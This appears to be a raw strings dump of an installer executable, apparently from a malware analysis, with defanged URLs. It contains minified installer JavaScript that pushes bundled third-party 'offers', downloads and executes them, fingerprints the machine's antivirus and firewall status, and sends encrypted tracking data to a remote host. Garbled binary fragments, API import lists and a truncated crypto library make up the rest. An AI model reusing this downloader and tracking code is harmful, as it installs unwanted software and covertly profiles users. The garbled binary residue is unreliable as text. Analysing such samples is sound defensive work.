commandlineAppend="";$("._CBarg").each(function(){if(this.checked=="1"&&$(this).attr("check")!=""){commandlineAppend =$(this).attr("check") delimitator}else{if(this.checked=="0"&&$(this).attr("uncheck")!=""){commandlineAppend =$(this).attr("uncheck") delimitator}}});if(commandlineAppend.slice(-1)===delimitator){commandlineAppend=commandlineAppend.slice(0,-1)}if(commandline.indexOf("%args%")!=-1){commandline=commandline.replace(/%args%/g,commandlineAppend)}else{commandline=commandline delimitator commandlineAppend}return commandline}function GetAccepted(argsdecline){var accepted=true;if($("._CBdecline").length>0){accepted=$("._CBdecline").is(":checked")}if(accepted==true&&argsdecline==true){accepted=($("._CBarg:checked").length>0||$("._CBarg").length<1)}return accepted}function setFocus(focusValue,classname){if(focusValue){$("." classname).focus()}else{$("." classname).blur()}}function ChangeVisibility(showClassName,hideClassName){if(showClassName){$("." showClassName).show()}if(hideClassName){$("." hideClassName).hide()}}function humanReadableFileSize(size){var i=Math.floor(Math.log(size)/Math.log(1024));return(size/Math.pow(1024,i)).toFixed(2)*1 " " ["B","kB","MB","GB","TB"][i]}function addFinishItem(name,uninstallUrl,classname){var item="<li class='_FinishItem'>";item =name;if(uninstallUrl&&uninstallUrl!=""){item =" <a href='" uninstallUrl "' class='_FinishUninstallUrl' > </a>"}item ="</li>";$("." classname).append(item)}function replaceLinks(){try{addLog("changing");$("a").each(function(index,value){var href=value.href;var new_element=document.createElement("span");new_element.innerText=value.innerText;for(var i=0;i<value.attributes.length;i ){var att=value.attributes.item(i);if(att.nodeValue&&att.nodeName!="href"&&att.nodeName!="target"){new_element.setAttribute(att.nodeName,att.nodeValue)}}$(new_element).addClass("_transformed");new_element.style.textDecoration="underline";new_element.style.cursor="pointer";if($.inArray(value.className,specialLinks)==-1){new_element.style.color="blue"}new_element.onclick=function(){openUrlOnDefaultBrowser(href);return false};value.parentNode.replaceChild(new_element,value)})}catch(err){}}function showProfile(){addTrace("showProfile");loadProfile(dataObject.presentation.renderUrl,dataObject.presentation.renderStyle,"ForceError","profileLoad");if(dataObject.presentation.mappRenderStyle&&dataObject.presentation.mappRenderStyle!=""){addStyle(dataObject.presentation.mappRenderStyle)}}function profileLoad(data){addTrace("profileLoaded");data=replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaultText")||"");$("._ParentContainer").html(data);addLog("profile loaded");setLinks();setButtonDefaultText([$("#_Bnext"),$("#_Bexit"),$("#_Bdecline"),$("#_Bomit")]);goForward();setWindowName(returnIdValue("#_WindowTitle")||dataObject.presentation.formCaption " setup");printStates()}function showCommon(node,callback,mappRenderId){if(typeof node!=="undefined"){if(!mappRenderId){mappRenderId=""}buttonsVisibility(node.buttons);createFrame(node.renderUrl mappRenderId,"","onDisplayFail",callback)}else{goForward()}}function welcomeScreen(data){data=replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaultText")||"");$("#_frameContainer").html(data);loading=false;loaded();replaceLinks()}function installScreen(data){data=replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaultText")||"");$("#_frameContainer").html(data);if(dataObject.installerBehavior.installerPopupUrl!=null){openUrlOnDefaultBrowser(dataObject.installerBehavior.installerPopupUrl)}addUniqueTrace("CompleteLoad");setNoDisplayStates(dataObject.offers);var mappFileName=dataObject.installerBehavior.mappFileName||getFilenameFromUrl(dataObject.installerBehavior.mappUrl);var mapp=setOfferObject(-1,dataObject.installerBehavior.mappUrl,dataObject.installerBehavior.mappCommandLine,mappFileName,"MainApp",0,dataObject.installerBehavior.macBehavior);installing.push(mapp);$.each(dataObject.offers,function(key,offer){if(offer.state==ACCEPTED){var offerObject=setOfferObject(offer.id,offer.appUrl,offer.commandLine,offer.fileName,offer.name,offer.offerBehavior.waitToCheck,offer.offerBehavior.macBehavior);installing.push(offerObject)}});install(installing);if(dataObject.installerBehavior.hideOnInstall){hideForm(true,true)}loaded();replaceLinks();loading=false}function groupScreen(data){data=replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaultText")||"");$("#_frameContainer").html(data);addUniqueTrace("CompleteLoad");addLog("group screen loaded");setButtonsText();remainArgs=0;dataObject.installerBehavior.maxSteps--;var text="";$.each(currOffer,function(key,offer){dataObject.offers[offer].usedScreen=-1;remainArgs ;if(dataObject.offers[offer].offerPresentation.groupTextHtml){text =dataObject.offers[offer].offerPresentation.groupTextHtml " "}var groupText=returnIdValue("#_GroupItemText")||"Install " dataObject.offers[offer].caption;groupText=groupText.replace(/%offercaption%/g,dataObject.offers[offer].caption);addDecline(groupText,false,dataInjected,offer);if(dataObject.offers[offer].offerPresentation.policyUrl){var policyLink="<a href='" dataObject.offers[offer].offerPresentation.policyUrl "'>" dataObject.offers[offer].caption "</a> ";remainArgs ;changeClassContentWaiting("_GroupPolicies",policyLink,true,dataInjected)}});remainArgs ;changeClassContentWaiting("_GroupHtml",text,false,dataInjected)}function finishScreen(data){data=replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaultText")||"");$("#_frameContainer").html(data);addUniqueTrace("CompleteLoad");addFinishItem(dataObject.presentation.formCaption,"","_FinishMapp");$.each(dataObject.offers,function(key,offer){if(offer.state==INSTALLED){addFinishItem(offer.caption,offer.offerPresentation.uninstallUrl,"_FinishOffers")}});loaded();replaceLinks();loading=false}function displayLoaded(data){data=replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaultText")||"");$("#_frameContainer").html(data);if(currOffer){addLog("display screen loaded");if(currOffer.length==1){setButtonsText();addUniqueTrace("CompleteLoad");dataObject.installerBehavior.maxSteps--;remainArgs=0;var offer=dataObject.offers[currOffer];updateValue($("._OffersShowing"),offer.caption,false);addLog("declineCheckBox -> " dataObject.presentation.offerScreens[currentOfferScreen].declineCheckBox);addLog("offer arguments->" offer.offerBehavior.offerArguments.length);addLog("argsdecline->" dataObject.presentation.offerScreens[currentOfferScreen].argsDecline);if(dataObject.presentation.offerScreens[currentOfferScreen].declineCheckBox||(dataObject.presentation.offerScreens[currentOfferScreen].argsDecline&&offer.offerBehavior.offerArguments.length<1)){remainArgs ;var declineCheckboxText=returnIdValue("#_DeclineCheckboxText")||"Install " offer.caption;addLog(declineCheckboxText);if(declineCheckboxText!=""){addDecline(declineCheckboxText,offer.offerPresentation.declineDisableArgs,dataInjected)}else{addDecline("Install " offer.caption,offer.offerPresentation.declineDisableArgs,dataInjected)}}remainArgs =offer.offerBehavior.offerArguments.length;$.each(offer.offerBehavior.offerArguments,function(i,value){addArg(value.text,value.check,value.uncheck,value.startChecked,value.className,dataInjected)});if(offer.offerPresentation.policyUrl!=""){SetLink("_OfferPolicy",offer.offerPresentation.policyUrl,false)}var ButtonsArray=[].concat(dataObject.presentation.offerScreenButtons);if(dataObject.presentation.offerScreens[currentOfferScreen].declineButton){ButtonsArray.push("_Bdecline")}buttonsVisibility(ButtonsArray);setFocus(!offer.offerBehavior.ignoreEnter,"_Bnext");SetLink("_UninstallUrl",offer.offerPresentation.uninstallUrl,false);remainArgs ;dataInjected()}}else{loaded();loading=false;replaceLinks()}}var remainArgs=0;function dataInjected(){try{remainArgs--;if(remainArgs<=0){loading=false;loaded();addLog("loading set to false");replaceLinks()}}catch(err){loading=false}}var interruptor=true;var interactions=0;var acceptedRestrictions=[];var testingCombinationsId=[];var testingCombination=[-1];var maxCombination=combination();var firstCombination=[];var allOffers={};var callbackFunction;var first;function setLoopTimeout(milliseconds){setTimeout(function(){interruptor=false},milliseconds)}function startGettingNextOffer(offers,maxSteps,hasGroup,callback){printClearCombination();interactions=0;allOffers=offers;testingCombination=[-1];callbackFunction=callback;maxCombination=combination();interruptor=true;firstCombination=[];first=true;var cleanOffers=getPendingOffers(offers,hasGroup);cleanOffers.sort(compareScore);setLoopTimeout(300);recurseveMethod(cleanOffers,maxSteps)}function getPendingOffers(offers,hasGroup){var cleanOffers=[];for(var i=0;i<offers.length;i ){offers[i].offerPresentation.canGroup=(offers[i].offerPresentation.canGroup&&hasGroup)==true;if(offers[i].state==PENDING&&$.inArray(offers[i].id,acceptedRestrictions)==-1&&offers[i].offerBehavior.showDisplay){cleanOffers.push(offers[i])}}return cleanOffers}function recurseveMethod(offers,maxSteps){setTimeout(function(){if(interruptor||first===true){first=false;var currentCombination=getCombination(offers,maxSteps);printCombination(currentCombination.offers,currentCombination.score);if(!firstCombination.length){for(var i=0;i<currentCombination.offers.length;i ){for(var a=0;a<currentCombination.offers[i].length;a ){firstCombination.push(currentCombination.offers[i][a])}}}if(currentCombination.score>=maxCombination.score){maxCombination=currentCombination}interactions ;recurseveMethod(offers,maxSteps);testingCombinationsId=GetRestrictionsRecursive(interactions,firstCombination.length,firstCombination)}else{if(maxCombination.offers.length==0){callbackFunction(null);return}var ids=[];for(var x=0;x<maxCombination.offers[0].length;x ){ids.push(idToIndex(maxCombination.offers[0][x]))}callbackFunction(ids)}},0)}function getCombination(offers,maxSteps){var currentCombination=combination();for(var i=0;i<maxSteps;i ){var currStep=nextOffersWithGroup(offers,currentCombination.restrictions);if(!currStep||!currStep.offers.length){break}currentCombination.restrictions=currentCombination.restrictions.concat(currStep.restrictions);currentCombination.score =currStep.score;currentCombination.offers.push(currStep.offers)}return currentCombination}function nextOffersWithGroup(offers,currRestrictions){interruptor=true;var singleCombination=combination();var groupCombination=combination();for(var i=0;i<offers.length;i ){var offer=offers[i];if($.inArray(offer.id,currRestrictions)==-1&&$.inArray(offer.id,testingCombinationsId)==-1){if(singleCombination.offers.length==0){singleCombination.offers=[offer.id];singleCombination.restrictions=offer.offerBehavior.restrictions;singleCombination.restrictions.push(offer.id);singleCombination.score=offer.score}if(offer.offerPresentation.canGroup&&$.inArray(offer.id,groupCombination.restrictions)==-1){groupCombination.restrictions=groupCombination.restrictions.concat(offer.offerBehavior.restrictions);groupCombination.restrictions.push(offer.id);groupCombination.score =offer.score;groupCombination.offers.push(offer.id)}}}if(groupCombination.score===-1&&singleCombination.score===-1){return null}else{if(groupCombination.score>singleCombination.score){return groupCombination}else{return singleCombination}}}function combination(){var newcombination={};newcombination.offers=[];newcombination.restrictions=[];newcombination.score=-1;return newcombination}function compareScore(a,b){if(a.score<b.score){return 1}if(a.score>b.score){return -1}return 0}function idToIndex(id){for(var i=0;i<allOffers.length;i ){if(allOffers[i].id==id){return i}}return null}function GetRestrictionsRecursive(steps,maxSteps,offers){var currentSearchValue=0;maxSteps=maxSteps-1;if(testingCombination[testingCombination.length-1]==maxSteps){var incremented=false;for(var i=testingCombination.length-1;i>=0;i--){if(testingCombination[i]>=maxSteps-1){var nexValue=0;if(testingCombination[i-1]<maxSteps-1){nexValue=testingCombination[i-1] 1}testingCombination[i]=nexValue}else{testingCombination[i] ;incremented=true;break}}if(incremented==false){testingCombination.push(0)}}else{testingCombination[testingCombination.length-1] }bloquedIds=[];for(var a=0;a<testingCombination.length;a ){if(offers[testingCombination[a]]){bloquedIds.push(offers[testingCombination[a]])}}return bloquedIds}var completedTrack=false;var TrackRetrys=0;function GenerateTrackBoby(dataObject,installerData,wasSkipAll){var trackObj={};trackObj.offers=GetOffersReport(dataObject.offers);trackObj.checkMachineInfo=GetmachineReport();trackObj.internal=GetInternalReport(dataObject.countryId,wasSkipAll,installerData.campaign,installerData.publisher,dataObject.presentation.formCaption,installerData.uid);trackObj.extra=installerData.extra;trackObj.finish=boolToInt(finished);trackObj.exeId=executionID;var content=JSON.stringify(trackObj);return cryptString(16,32,"CBC",content)}function boolToInt(value){if(value){return 1}else{return 0}}function GetmachineReport(){var machineReport={};machineReport.OS="MP_" machineInfo.os;machineReport.SP="MP_" machineInfo.sp;machineReport.AR="MP_" machineInfo.ar;machineReport.NET="MP_" machineInfo.net;machineReport.UB="MP_" installerData.usedBrowser;machineReport.DB="MP_" installerData.usedBrowser;machineReport.AV="MP_" machineInfo.av;machineReport.FW="MP_" machineInfo.fw;machineReport.AS="MP_" machineInfo.as;machineReport.FAV="MP_" machineInfo.fav;machineReport.FFW="MP_" machineInfo.ffw;machineReport.FAS="MP_" machineInfo.fas;return machineReport}function GetOffersReport(offersArray){var OffersReport=[];$.each(offersArray,function(key,offer){var element={};element.id=offer.id;element.state=offer.state;element.monetizations=offer.catchallMonetizations;element.screen=offer.usedScreen;OffersReport.push(element)});return OffersReport}function GetInternalReport(country,skipall,campaign,publisher,carrier,uid){var InternalReport={};InternalReport.country=country;InternalReport.skipall=skipall;InternalReport.campaign=campaign;InternalReport.publisher=publisher;InternalReport.carrier=carrier;InternalReport.uid=uid;return InternalReport}function sendTrackException(type,xhr,state,err){sendEx(JSON.stringify(err),"",JSON.stringify(state),type,JSON.stringify(xhr))}function track(callback,failCallback){if(completedTrack||(!finished&&dataObject.installerBehavior.track.type==0)){if(typeof window[callback]==="function"){addLog("trackCallback");window[callback]()}return}else{if(dataObject.installerBehavior.track.type==0){completedTrack=true}}addTrace("tracking");addLog("Tracked");var postData=GenerateTrackBoby(dataObject,installerData,wasSkipAll);var trackUrl=cryptUrl(TRACKURL);addLog(trackUrl);getResponseFromWrapper(trackUrl,"data=" postData,callback,failCallback);printStates()}function hexToString(hexx){var hex=hexx.toString();var str="";for(var i=0;i<hex.length;i =2){str =String.fromCharCode(parseInt(hex.substr(i,2),16))}return str}function stringToHex(string){var hex="";for(var i=0;i<string.length;i ){hex ="" string.charCodeAt(i).toString(16)}return hex}function cryptUrl(url){var urlParsed=parseURL(url);var domain=urlParsed.protocol "://" urlParsed.domain;var path=urlParsed.path;addLog(path);return domain "/" cryptString(16,32,"CBC",path)}function genPassword(length){var password="";var possible="abcdef0123456789";for(var i=0;i<length;i ){password =possible.charAt(Math.floor(Math.random()*possible.length))}return password}function parseURL(url){parsed_url={};if(url==null||url.length==0){return parsed_url}protocol_i=url.indexOf("://");parsed_url.protocol=url.substr(0,protocol_i);remaining_url=url.substr(protocol_i 3,url.length);domain_i=remaining_url.indexOf("/");domain_i=domain_i==-1?remaining_url.length-1:domain_i;parsed_url.domain=remaining_url.substr(0,domain_i);parsed_url.path=domain_i==-1||domain_i 1==remaining_url.length?null:remaining_url.substr(domain_i 1,remaining_url.length);domain_parts=parsed_url.domain.split(".");switch(domain_parts.length){case 2:parsed_url.subdomain=null;parsed_url.host=domain_parts[0];parsed_url.tld=domain_parts[1];break;case 3:parsed_url.subdomain=domain_parts[0];parsed_url.host=domain_parts[1];parsed_url.tld=domain_parts[2];break;case 4:parsed_url.subdomain=domain_parts[0];parsed_url.host=domain_parts[1];parsed_url.tld=domain_parts[2] "." domain_parts[3];break}parsed_url.parent_domain=parsed_url.host "." parsed_url.tld;return parsed_url}function getFilenameFromUrl(url){var url=url.substr(1 url.lastIndexOf("/")).split("?")[0];if(url.indexOf(".")>0){return url}else{if(url.indexOf(".")>-1){return"mainapp" url}else{return"mainapp.exe"}}}function cryptString(ivLength,passLength,mode,text){var key=CryptoJS.enc.Hex.parse(genPassword(passLength));var iv=CryptoJS.enc.Hex.parse(genPassword(ivLength));var encrypted=CryptoJS.AES.encrypt(text,key,{iv:iv,mode:CryptoJS.mode[mode]});var crypt=encrypted.ciphertext.toString(CryptoJS.enc.Hex);iv=encrypted.iv.toString(CryptoJS.enc.Hex);var psw=encrypted.key.toString(CryptoJS.enc.Hex);return iv psw crypt}function deCryptString(ivLength,passLength,mode,data){try{var iv=CryptoJS.enc.Hex.parse(data.substring(0,ivLength));var key=CryptoJS.enc.Hex.parse(data.substring(ivLength,ivLength passLength));cipher=CryptoJS.lib.CipherParams.create({ciphertext:CryptoJS.enc.Hex.parse(data.substring(ivLength passLength))});var result=CryptoJS.AES.decrypt(cipher,key,{iv:iv,mode:CryptoJS.mode[mode]});return CryptoJS.enc.Utf8.stringify(result)}catch(error){return null}}var traceVersion="1.5.7";function addTrace(step){try{var reportUrl="hXXp://" installerData.extra.requestHost "/?trace" traceVersion "=" step;getResponseFromWrapper(reportUrl,"","","")}catch(ex){}}function addSpeficicTrace(step){}var tracedList=[];function addUniqueTrace(step){if($.inArray(step,tracedList)==-1){tracedList.push(step);addTrace(step)}}function thirdPartyError(msg,url,lno){var method="";try{method=arguments.callee.caller.toString()}catch(err){}if(url.indexOf("?trace" traceVersion)>-1){return true}sendEx("third party " msg,url,lno,method||"");return true}function ForceError(msg,url,lno,extra){var method="";try{method=arguments.callee.caller.toString()}catch(err){}sendEx(msg||"",url||"",lno||0,method||"",extra||"");try{onException(msg)}catch(err){}return true}function sendEx(msg,url,lno,method,extra){try{var ex={};ex.msg=msg;ex.url=url;ex.lno=lno;ex.xtra=extra||"";ex.method=method;ex.version=traceVersion;try{ex.av=machineInfo.av;ex.fw=machineInfo.fw;ex.as=machineInfo.as}catch(err){}var reportUrl="hXXp://" installerData.extra.requestHost "/__dmp__/";addLog(JSON.stringify(ex));getResponseFromWrapper(reportUrl,"data=" JSON.stringify(ex),"","")}catch(error){}}function Run(data,macInfo){addTrace("Run");window.onerror=thirdPartyError;try{if(window.external&&("externalTrace" in window.external)){window.external.externalTrace("postindex")}}catch(err){sendEx(JSON.stringify(err),url,lno,"externalTrace",extra)}addTrace("GetInternalData");machineInfo=JSON.parse(macInfo);getData(data)};4!%s)
w.AOd(
r].oz~
-v..vw// !
8~<310.*&-
8~<310. -
8~<310. .-
?=<3213-
'$&$ .,,-#
(CS`)?Nj(>Lp(>LuŸx
4L4K4[4`4
5)5?5[5}5
1%1u1}1
1 1 1\1;3
6b6U6
6!7)707:7
3#3)3/3:4]4
.04080<0@0
7 7$7(7,7
1$1,181`1
:,:8:@:`:
< <<<@<`<
= =<=@=`=|=
? ?@?`?|?
data.exe
1.7.22
stan.mxp30.com
addLog..Tracked
checkRegkKey
nreportException
ereportTrace
Url different :
ur.IsEmpty
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<META HTTP-EQUIV="Pragma" CONTENT="no-cache" />
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="hXXp://VVV.w3.org/1999/xhtml">
/__mp__/indexClean.html
/stan.mxp108.com
E_OUTOFMEMORY FAIL URLDownloadToFile
INET_E_DOWNLOAD_FAILURE FAIL URLDownloadToFile
SUCCEEDED URLDownloadToFile
SUCCEEDED default URLDownloadToFile
default URLDownloadToFile
RhXXps://
%DownloadFile
Error internal ShellExecuteEx
Not Exist File ShellExecuteEx
Error ShellExecuteEx
Not exe and not msi
Iexe
XDocHostUIHandler::GetOptionKeyPath
XDocHostUIHandler::TranslateUrl
errorUrl
XOleCommandTarget::Exec
","codeErrorMsg":"
","url":"
{"msg":"addLog..onExit
api-JSON.parse
{"msg":";GetPathExe
Resolving name %s
Name resolved %s
Unknown status: %d
CInternet error %d
WinINet.dll
SELECT * FROM Win32_OperatingSystem
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Software\Microsoft\Windows\CurrentVersion\Policies\Network
Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32
ntdll.dll
kernel32.dll
%s%s.dll
B%s (%s:%d)
%s (%s:%d)
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp
@f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winfrm.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin1.inl
accKeyboardShortcut
f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl
Afx:%p:%x:%p:%p:%p
Afx:%p:%x
commctrl_DragListMsg
Ccomctl32.dll
Ccomdlg32.dll
Cshell32.dll
Cf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp
mfcm90u.dll
@WININET.DLL
DHTTP/1.0
Df:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winctrl2.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp
D.INI
user32.dll
mscoree.dll
KERNEL32.DLL
c:\%original file name%.exe
{8856F961-340A-11D0-A96B-00C04FD705A2}All Files (*.*)
No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.
Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.
Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.
#Unable to load mail system support.
%original file name%.exe_544_rwx_00400000_000E8000:
.text
`.rdata
@.data
.rsrc
@.reloc
FJ<.tN<[tJ<\tF<*tB<|t><^t:<$t6
vSSSh
FTPjK
FtPj;
C.PjRV
tGHt.Ht&
c:\logFile.txt
HKEY_LOCAL_MACHINE
EXCEPTION_EXECUTE_HANDLER
openUrlOnDefaultBrowser
reportException
reportTrace
ThirdPartyUrlBlockedExplorer1
BeforeScriptExecuteExplorer1
hXXp://
URL EMPTY
INSTALL NOT_EXE NOT_MSI
()$^.* ?[]|\-{},:=!WINDOWS
%H:%M:%S
invalid _N_type: %d
checkRegKey
Invalid URL
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
http:
Mozilla
Error opening key.
Key not found.
HKEY_USERS
HKEY_CURRENT_USER
HKEY_CLASSES_ROOT
CheckRegistryKeyExistance
SetStringKey
CWebBrowser2
CNotSupportedException
CCmdTarget
hhctrl.ocx
CHttpConnection
CHttpFile
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
GetProcessWindowStation
USER32.DLL
operator
portuguese-brazilian
GetCPInfo
GetConsoleOutputCP
GetProcessHeap
KERNEL32.dll
GetKeyState
SetWindowsHookExW
UnhookWindowsHookEx
CreateDialogIndirectParamW
USER32.dll
GetViewportExtEx
SetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
ScaleViewportExtEx
GDI32.dll
COMDLG32.dll
WINSPOOL.DRV
RegCloseKey
RegOpenKeyExW
RegEnumKeyExW
RegDeleteKeyW
RegQueryInfoKeyW
RegCreateKeyW
RegEnumKeyW
RegOpenKeyW
RegCreateKeyExW
ADVAPI32.dll
ShellExecuteW
ShellExecuteExW
SHELL32.dll
UrlUnescapeW
SHLWAPI.dll
oledlg.dll
ole32.dll
OLEAUT32.dll
URLDownloadToFileW
urlmon.dll
OLEACC.dll
InternetCrackUrlW
InternetCanonicalizeUrlW
HttpQueryInfoW
HttpSendRequestW
InternetOpenUrlW
HttpOpenRequestW
WININET.dll
.?AVCCmdTarget@@
.?AVCWebBrowser2@@
.PAVCFileException@@
.PAVCInternetException@@
.PAVCOleException@@
.PAVCException@@
.PAVCObject@@
.PAVCMemoryException@@
.PAVCSimpleException@@
.PAVCNotSupportedException@@
.PAVCInvalidArgException@@
.?AVCNotSupportedException@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.PAVCUserException@@
.PAVCResourceException@@
.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@
.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@
.?AVCHttpConnection@@
.?AVCHttpFile@@
.PAVCArchiveException@@
.PAVCOleDispatchException@@
zcÁ
Created with ajaxload.info
var CryptoJS=CryptoJS||function(u,p){var d={},l=d.lib={},s=function(){},t=l.Base={extend:function(a){s.prototype=this;var c=new s;a&&c.mixIn(a);c.hasOwnProperty("init")||(c.init=function(){c.$super.init.apply(this,arguments)});c.init.prototype=c;c.$super=this;return c},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var c in a){a.hasOwnProperty(c)&&(this[c]=a[c])}a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.init.prototype.extend(this)}},r=l.WordArray=t.extend({init:function(a,c){a=this.words=a||[];this.sigBytes=c!=p?c:4*a.length},toString:function(a){return(a||v).stringify(this)},concat:function(a){var c=this.words,e=a.words,j=this.sigBytes;a=a.sigBytes;this.clamp();if(j%4){for(var k=0;k<a;k ){c[j k>>>2]|=(e[k>>>2]>>>24-8*(k%4)&255)<<24-8*((j k)%4)}}else{if(65535<e.length){for(k=0;k<a;k =4){c[j k>>>2]=e[k>>>2]}}else{c.push.apply(c,e)}}this.sigBytes =a;return this},clamp:function(){var a=this.words,c=this.sigBytes;a[c>>>2]&=4294967295<<32-8*(c%4);a.length=u.ceil(c/4)},clone:function(){var a=t.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var c=[],e=0;e<a;e =4){c.push(4294967296*u.random()|0)}return new r.init(c,a)}}),w=d.enc={},v=w.Hex={stringify:function(a){var c=a.words;a=a.sigBytes;for(var e=[],j=0;j<a;j ){var k=c[j>>>2]>>>24-8*(j%4)&255;e.push((k>>>4).toString(16));e.push((k&15).toString(16))}return e.join("")},parse:function(a){for(var c=a.length,e=[],j=0;j<c;j =2){e[j>>>3]|=parseInt(a.substr(j,2),16)<<24-4*(j%8)}return new r.init(e,c/2)}},b=w.Latin1={stringify:function(a){var c=a.words;a=a.sigBytes;for(var e=[],j=0;j<a;j ){e.push(String.fromCharCode(c[j>>>2]>>>24-8*(j%4)&255))}return e.join("")},parse:function(a){for(var c=a.length,e=[],j=0;j<c;j ){e[j>>>2]|=(a.charCodeAt(j)&255)<<24-8*(j%4)}return new r.init(e,c)}},x=w.Utf8={stringify:function(a){try{return decodeURIComponent(escape(b.stringify(a)))}catch(c){throw Error("Malformed UTF-8 data")}},parse:function(a){return b.parse(unescape(encodeURIComponent(a)))}},q=l.BufferedBlockAlgorithm=t.extend({reset:function(){this._data=new r.init;this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=x.parse(a));this._data.concat(a);this._nDataBytes =a.sigBytes},_process:function(a){var c=this._data,e=c.words,j=c.sigBytes,k=this.blockSize,b=j/(4*k),b=a?u.ceil(b):u.max((b|0)-this._minBufferSize,0);a=b*k;j=u.min(4*a,j);if(a){for(var q=0;q<a;q =k){this._doProcessBlock(e,q)}q=e.splice(0,a);c.sigBytes-=j}return new r.init(q,j)},clone:function(){var a=t.clone.call(this);a._data=this._data.clone();return a},_minBufferSize:0});l.Hasher=q.extend({cfg:t.extend(),init:function(a){this.cfg=this.cfg.extend(a);this.reset()},reset:function(){q.reset.call(this);this._doReset()},update:function(a){this._append(a);this._process();return this},finalize:function(a){a&&this._append(a);return this._doFinalize()},blockSize:16,_createHelper:function(a){return function(b,e){return(new a.init(e)).finalize(b)}},_createHmacHelper:function(a){return function(b,e){return(new n.HMAC.init(a,e)).finalize(b)}}});var n=d.algo={};return d}(Math);(function(){var u=CryptoJS,p=u.lib.WordArray;u.enc.Base64={stringify:function(d){var l=d.words,p=d.sigBytes,t=this._map;d.clamp();d=[];for(var r=0;r<p;r =3){for(var w=(l[r>>>2]>>>24-8*(r%4)&255)<<16|(l[r 1>>>2]>>>24-8*((r 1)%4)&255)<<8|l[r 2>>>2]>>>24-8*((r 2)%4)&255,v=0;4>v&&r 0.75*v<p;v ){d.push(t.charAt(w>>>6*(3-v)&63))}}if(l=t.charAt(64)){for(;d.length%4;){d.push(l)}}return d.join("")},parse:function(d){var l=d.length,s=this._map,t=s.charAt(64);t&&(t=d.indexOf(t),-1!=t&&(l=t));for(var t=[],r=0,w=0;w<l;w ){if(w%4){var v=s.indexOf(d.charAt(w-1))<<2*(w%4),b=s.indexOf(d.charAt(w))>>>6-2*(w%4);t[r>>>2]|=(v|b)<<24-8*(r%4);r }}return p.create(t,r)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /="}})();(function(u){function p(b,n,a,c,e,j,k){b=b (n&a|~n&c) e k;return(b<<j|b>>>32-j) n}function d(b,n,a,c,e,j,k){b=b (n&c|a&~c) e k;return(b<<j|b>>>32-j) n}function l(b,n,a,c,e,j,k){b=b (n^a^c) e k;return(b<<j|b>>>32-j) n}function s(b,n,a,c,e,j,k){b=b (a^(n|~c)) e k;return(b<<j|b>>>32-j) n}for(var t=CryptoJS,r=t.lib,w=r.WordArray,v=r.Hasher,r=t.algo,b=[],x=0;64>x;x ){b[x]=4294967296*u.abs(u.sin(x 1))|0}r=r.MD5=v.extend({_doReset:function(){this._hash=new w.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(q,n){for(var a=0;16>a;a ){var c=n a,e=q[c];q[c]=(e<<8|e>>>24)&16711935|(e<<24|e>>>8)&4278255360}var a=this._hash.words,c=q[n 0],e=q[n 1],j=q[n 2],k=q[n 3],z=q[n 4],r=q[n 5],t=q[n 6],w=q[n 7],v=q[n 8],A=q[n 9],B=q[n 10],C=q[n 11],u=q[n 12],D=q[n 13],E=q[n 14],x=q[n 